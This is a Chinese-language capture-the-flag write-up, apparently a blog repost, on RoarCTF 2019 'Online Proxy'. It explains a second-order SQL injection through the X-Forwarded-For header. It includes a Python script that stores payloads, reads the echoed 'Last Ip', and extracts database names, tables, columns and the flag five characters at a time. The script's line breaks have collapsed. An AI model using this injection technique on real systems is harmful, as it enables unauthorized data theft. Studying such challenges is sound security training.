[RoarCTF 2019Online Proxy]sql巧妙盲注

文章目錄

    • [RoarCTF 2019Online Proxy]sql巧妙盲注
      • 解題
      • 腳本
        • 腳本解析

[RoarCTF 2019Online Proxy]sql巧妙盲注

解題

在源代碼界面發現:Current Ip

image-20230809221921490

我們會聯想到:X-Forwarded-For來修改ip:

image-20230809222053377

結果我們發現,response會講Last Ip回顯出來,并且我們使用dirsearch掃描到了db.php

image-20230809222306594

我們自然會聯想到數據庫。當我們使用X-Forwarded-For請求的時候,會將上一次的值回顯在Last Ip

這里應該是存在sql注入的。

如果我們傳遞一個sql進入XFF中,然后第二次隨便輸入一個值,將sql存入數據庫,第三次再輸入同一個值,就會發生sql查詢,將之前的sql語句查詢出來,造成二次注入

我們驗證可以使用單引號閉合

第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos

在第三次就會查詢出114514

腳本

所以我們就需要編寫腳本了:

import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]長度:"+str(length))for i in range(1,length+1,5): # 1次查5個字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("數據庫名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

腳本解析

這個腳本非常的巧妙,與我之前接觸的腳本不同,這個腳本可以通過盲注,一次查詢多個字符

原理就是將字符串轉為16進制,再轉為10進制,讀出來,最后重新將10進制轉為16進制,最后轉為字符串,利用的就是

字符串與16進制之間的轉化

舉個例子:

hex('abc')=616263 ,然后通過sql函數conv(hex('abc'),16,10) = 6382179 將abc的16進制轉為10進制

在sql中16進制可以自動轉為字符串:

image-20230809224024056

這種做法大大提高了查詢的速度!

bytes.fromhex() 這個函數是將16進制數字轉為字節,然后decode()解碼為字符

整個腳本的重點就是如下:

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

首先通過sql查詢,將部分結果拿出,然后轉為16進制,再轉為10進制

然后將requests的返回結果取出,轉為16進制,最后轉為字符

這樣實現了一次查詢多個字符

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/36599.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/36599.shtml
英文地址,請注明出處:http://en.pswp.cn/news/36599.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Semaphore 原理分析

分析下SemaPhore吧,也是基于AQS實現的,對并發進行控制的工具類,看下其怎么實現的, Semaphore semaphore new Semaphore(3);semaphore.acquire();semaphore.release();Semaphore 常用于控制并發量,比如這里設置為3&…

請教電路高手幫忙Review一下是否可行?

想要實現STM32 3.3V GPIO 控制5V電源通斷,默認狀態為:接通。 使用如下電路圖有無問題?參數是否需要調整?

8.14 ARM

1.練習一 .text 文本段 .global _start 聲明一個_start函數入口 _start: _start標簽,相當于C語言中函數mov r0,#0x2mov r1,#0x3cmp r0,r1beq stopsubhi r0,r0,r1subcc r1,r1,r0stop: stop標簽,相當于C語言中函數b stop 跳轉到stop標簽下的第一條…

C++的IO流

C語言的輸入與輸出 C語言中我們用到的最頻繁的輸入輸出方式就是scanf ()與printf()。 scanf(): 從標準輸入設備(鍵盤)讀取數據,并將值存放在變量中。printf(): 將指定的文字/字符串輸出到標準輸出設備(屏幕)。注意寬度輸出和精度輸出控制。C語言借助了相應的緩沖區來…

javaScript:如何獲取html中的元素對象

目錄 前言: 方法 1.通過id獲取元素 2.通過標簽名獲取元素 3.通過類名class獲取元素 獲取body的方法 1.document.getElementsByTagName(body)[0] 2.document.body 相關代碼 前言: 通過獲取HTML中的元素對象,JavaScript可以對網頁進行動…

學生成績管理系統V1.0

某班有最多不超過30人(具體人數由鍵盤輸入)參加某門課程的考試,用一維數組作函數參數編程實現如下學生成績管理: (1)錄入每個學生的學號和考試成績; (2)計算課程的總分…

Vue [Day7]

文章目錄 自定義創建項目ESlint 代碼規范vuex 概述創建倉庫向倉庫提供數據使用倉庫中的數據通過store直接訪問通過輔助函數 mapState(簡化)mutations傳參語法(同步實時輸入,實時更新輔助函數 mapMutationsaction (異步輔助函數map…

IntelliJ IDEA 2021/2022關閉雙擊shift全局搜索

我這里演示的是修改,刪除是右鍵的時候選擇Remove就好了 IDEA左上角 File-->Settings 找到Navigate -->Search Everywhere ,右鍵添加快捷鍵。 OK --> Apply應用

C語言學習之const關鍵字的使用

const修飾變量:const關鍵字修飾變量時,該變量表示是一個只讀變量,不能通過變量名修改變量的值;案例: const int m 20; int const n 30; m 30;//不可以賦值,因為m是只讀變量 n 20;//不可以賦值&#xf…

初始多線程

目錄 認識線程 線程是什么: 線程與進程的區別 Java中的線程和操作系統線程的關系 創建線程 繼承Thread類 實現Runnable接口 其他變形 Thread類及其常見方法 Thread的常見構造方法 Thread類的幾個常見屬性 Thread類常用的方法 啟動一個線程-start() 中斷…

前端食堂技術周刊第 93 期:7 月登陸 Web 平臺的新功能、Node.js 工具箱、Nuxt3 開發技巧、MF 重構方案

美味值:🌟🌟🌟🌟🌟 口味:橙橙冰萃美式 食堂技術周刊倉庫地址:https://github.com/Geekhyt/weekly 大家好,我是童歐巴。歡迎來到前端食堂技術周刊,我們先來…

Android多屏幕支持-Android12

Android多屏幕支持-Android12 1、概覽及相關文章2、屏幕窗口配置2.1 配置xml文件2.2 DisplayInfo#uniqueId 屏幕標識2.3 adb查看信息 3、配置文件解析3.1 xml字段讀取3.2 簡要時序圖 4、每屏幕焦點 android12-release 1、概覽及相關文章 AOSP > 文檔 > 心主題 > 多屏…

如何利用DeepBook自動做市商(AMM),發揮應用的最大價值

盡管Sui宣布DeepBook作為其首個本地流動性層,即中央限價單簿(Central Limit Order Book,CLOB),但自動做市商(Automated Market Maker,AMM)平臺也可以在Sui上發揮作用。事實上&#x…

理解jvm之對象已死怎么判斷?

目錄 引用計數算法 什么是引用 可達性分析算法(用的最多的) 引用計數算法 定義:在對象中添加一個引用計數器,每當有一個地方引用它時,計數器值就加一;當引用失效時,計數器值就減一&#xff1…

文件批量改名高手:輕松刪除文件名,僅保留編號!

您是否經常需要對大量文件進行命名調整?是否為繁瑣的手動操作而感到厭煩?現在,我們的智能批量文件改名工具為您提供了一種簡單而高效的解決方案!只需幾步操作,您就能輕松刪除原有的文件名,僅保留編號&#…

YOLO相關原理(文件結構、視頻檢測等)

超參數進化(hyperparameter evolution) 超參數進化是一種使用了genetic algorithm(GA)遺傳算法進行超參數優化的一種方法。 YOLOv5的文件結構 images文件夾內的文件和labels中的文件存在一一對應關系 激活函數:非線性處理單元 activation f…

c#學習路線

文章目錄 .net coreN層架構大項目實戰高性能互聯網項目架構c#高級編程各種主流框架分布式通信SSO單點登錄+權限管理系統實戰N層架構WEB安全ASP.NET MVCNoSQLORM框架c#6和c#7新語法VS插件分享項目管理三層項目實戰三層架構ASP.NET基礎數據庫和ASP.NETADO.NET計算機基礎計算機硬件…

C# 11 中的新增功能

本文內容 泛型屬性泛型數學支持數值 IntPtr 和 UIntPtr字符串內插中的換行符 顯示另外 11 個 C# 11 中增加了以下功能: 原始字符串字面量泛型數學支持泛型屬性UTF-8 字符串字面量字符串內插表達式中的換行符列表模式文件本地類型必需的成員自動默認結構常量 str…

【設計模式】MVC 模式

MVC 模式代表 Model-View-Controller(模型-視圖-控制器) 模式。這種模式用于應用程序的分層開發。 Model(模型) - 模型代表一個存取數據的對象或 JAVA POJO。它也可以帶有邏輯,在數據變化時更新控制器。View&#xff…

Linux6.37 Kubernetes 集群調度

文章目錄 計算機系統5G云計算第三章 LINUX Kubernetes 集群調度一、調度約束1.調度過程2.指定調度節點3.親和性1)節點親和性2)Pod 親和性3)鍵值運算關系 4.污點(Taint) 和 容忍(Tolerations)1)污點(Taint)2)容忍(Toler…